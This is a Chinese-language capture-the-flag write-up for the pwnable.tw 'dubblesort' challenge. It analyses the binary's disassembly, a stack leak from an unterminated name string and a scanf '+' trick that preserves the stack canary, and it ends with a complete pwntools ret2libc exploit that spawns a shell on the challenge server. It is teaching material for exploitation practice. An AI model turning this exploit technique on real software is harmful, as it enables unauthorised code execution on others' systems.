pwnable.tw_dublesort

pwnable.tw_challenge_dubblesort

首先运行一下大概了解程序的流程:

1
2
3
4
5
6
7
8
9
10
运行结果
What your name :kirin
Hello kirin
��/,How many numbers do you what to sort :3
Enter the 0 number : 4
Enter the 1 number : 5
Enter the 2 number : 6
Processing......
Result :
4 5 6

首先是传入一个name
而后需要我们指出需要排序的数字个数
而后需要我们依次输入需要排序的数字
最后程序给出排序好的result
不过这里发现一个问题,有些名字后存在其他字符(类似乱码)
猜测这里应该是字符串00结尾没有处理好而泄露了名字后的部分数据
先记下这个问题
下面载入IDA分析:

0x01 main

1
2
3
4
5
6
7
8
9
10
11
12
13
push    ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0FFFFFFF0h
add esp, 0FFFFFF80h
call sub_5662B750
add ebx, 15CCh
mov eax, large gs:14h
mov [esp+7Ch], eax
xor eax, eax
call sub_5662B8B5

可以看出这里:

1
2
3
4
5
6
7
8
9
10
11
开启了canary保护:mov     eax, large gs:14h
调用了一个sub_5662B8B5函数(一个计时器)
可以直接绕过这个计时器来动态分析:
call sub_5662B8B5改为nop
或者:在call地址后的首句push ebp改为retn
或者:类似方法去除程序对alarm/signal的调用
或者:直接改变alarm的参数(加长时间)
或者:调试到alarm时set新的ip跳过call alarm
在gdb中可以忽略中间信号来绕过计时器:
i handle SIGALRM
handle SIGALRM nopass

下面:
输出”What your name :”:

1
2
3
4
.text:5662B9EB                 lea     eax, (aWhatYourName - 5662CFA0h)[ebx] ; "What your name :"
.text:5662B9F1 mov [esp+4], eax
.text:5662B9F5 mov dword ptr [esp], 1
.text:5662B9FC call ___printf_chk

从输入流读入0x40长度(输入流结尾自动停止读入)的字节到esp+8Ch+buf处:

1
2
3
4
5
.text:5662BA01                 mov     dword ptr [esp+8], 40h ; '@' ; nbytes
.text:5662BA09 lea esi, [esp+8Ch+buf]
.text:5662BA0D mov [esp+4], esi ; buf
.text:5662BA11 mov dword ptr [esp], 0 ; fd
.text:5662BA18 call _read

输出”Hello %s,How many numbers do you what to sort :”:

1
2
3
4
5
mov     [esp+8], esi
lea eax, (aHelloSHowManyN - 5662CFA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
mov [esp+4], eax
mov dword ptr [esp], 1
call ___printf_chk

使用scanf读入一个unsigned型数(所需排序个数):

1
2
3
4
5
.text:5662BA37                 lea     eax, [esp+18h]
.text:5662BA3B mov [esp+4], eax
.text:5662BA3F lea eax, (aU - 5662CFA0h)[ebx] ; "%u"
.text:5662BA45 mov [esp], eax
.text:5662BA48 call ___isoc99_scanf

接下来再调用scanf读入相应个数的unsigned并调用一个冒泡排序:sub_5662B931
最终输出结果

0x02 漏洞

0x01 字符串结尾\x00截断问题

首先就是开始时候的name可以泄露栈内数据:
当我们输入:”aaaa”
程序输出:
aaaa
看一下栈内数据:
栈
可以看到buff内数据是aaaa+’\n’,而后面没有对字符串结尾加上00进行截断,导致后面的FFBA4B00上的数据在换行之后也输出了,直到遇到FFBA4804处的”\x00”

0x02 scanf读取unsigned数时非法字符问题

测试代码:

1
2
3
4
5
6
#include<stdio.h>
int main()
{int i;
while(~scanf("%u",&i))
printf("%u\n",i);
}

当输入一个非法字符时,其可能会因输入流问题直接输出栈上数据:

1
2
3
4
5
6
7
8
9
10
11
12
当输入"+-"这类数字本身中就有("+-"代表正负)的字符,则输出栈上数据
+
32764
-
32764
当输入"abc......"这类非法字符,因为输入流问题,这里没有成功scanf,便不断printf数据
a
32764
32764
32764
32764
.......

在程序中测试:

1
2
3
4
5
6
7
8
9
10
11
12
 ./dubblesort
What your name :kirin
Hello kirin
��/,How many numbers do you what to sort :5
Enter the 0 number : +
Enter the 1 number : +
Enter the 2 number : +
Enter the 3 number : +
Enter the 4 number : +
Processing......
Result :
0 1 12779520 4158922506 4291112735

我们输入前栈中v13(保存需要排序的数字)处的数据分布:
v13
排序输出后:
v13
可以看到我们这里输入”+”并不改变栈内数据,而是对其中的数据重新排序

0x03 ret2libc

首先使用chechsec看一下程序的保护机制:

1
checksec ./dubblesort

checksec
可以看到全部开启
考虑到调试过程发现其加载了libc库以及:

1
objdump -R ./dubblesort

objdump
这里我们可以利用ret2libc执行system(“/bin/sh”)来获取shell
我们需要:

1
2
3
4
对方环境下libc动态库中函数system的偏移量
对方环境下libc动态库中字符串"\bin\sh"的偏移量
程序加载libc库的基地址
合理布置栈来执行函数
0x01 system的偏移量

利用题目给出的库文件:

1
readelf -s ./libc_32.so.6|grep system
1
2
3
245: 00110690    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

所以:

1
system_off = 0x3a940
0x02 “\bin\sh”的偏移量
1
hexdump -C ./libc_32.so.6|grep  /bin -A 1  #防止换行所以只grep /bin 而后显示后一行

找到了:

1
2
00158e80  74 6f 64 5f 6c 2e 63 00  2d 63 00 2f 62 69 6e 2f  |tod_l.c.-c./bin/|
00158e90 73 68 00 65 78 69 74 20 30 00 63 61 6e 6f 6e 69 |sh.exit 0.canoni|

所以:

1
bin_sh_off = 0x158e8b
0x03 程序加载libc库的基地址

若要获取基地址,便要得到一个相对基地址偏移量固定的地址
而能泄露数据的只有name和最后的排序处
但排序处会直接结束进程
我们需要利用排序前的scanf来布置栈空间
所以这里只能利用name泄露buf后某个栈内地址
动态调试看一下name后的栈内数据:
buf
可以看到第七和第八个数据都在libc中
接着调试后锁定第七个数据:
看一下这次载入libc的地址:
libc
第七位地址的相对位移:

1
off=0xf7f70000-0xf7dbe000=0x1b2000

注意:这里的偏移地址是相对于本地的libc-2.23.so文件

1
readelf -S ./libc-2.23.so

libc
看到这里的对应偏移位置是:

1
.got.plt

对应远程的libc文件的.got.plt的偏移地址为:
libc

1
0x1b0000
栈中数据构造

这里需要注意:
栈内数据写入后会被排序
所以我们要让排序后的栈内:

1
2
3
4
cannary处 -> 输入加号使其保持不变
返回地址处 -> system_addr
返回地址后一个单位 -> system的返回地址(随意填写,不过注意大小问题,这里直接填入system_addr或者bin_sh_addr)
返回地址后第二位 -> bin_sh_addr

一般情况下这几个数便是从小到大排列(除非canary随机到很大)
所以我们:

1
2
3
4
5
首先将数字正常的栈空间覆盖为0(调试后是24位)
canary处:"+"
canary到返回地址间覆盖为system_addr
返回地址后一位system函数返回地址处覆盖为system_addr或者bin_sh_addr
再后一位覆盖为bin_sh_addr

不过当输入字符来利用name获得.got.plt地址时总是出错
调试后发现,这个地址末位总是00,造成了截断,所以需要多输入一位来使用换行符(chr(0xa))来覆盖这里(在后面计算地址的时候再减去0xa)

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b

p = remote("chall.pwnable.tw",10101)
p.recv()
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
p.sendline('0')
p.recv()
p.sendline('+')
p.recv()
for i in range(9):
p.sendline(str(system_addr))
p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()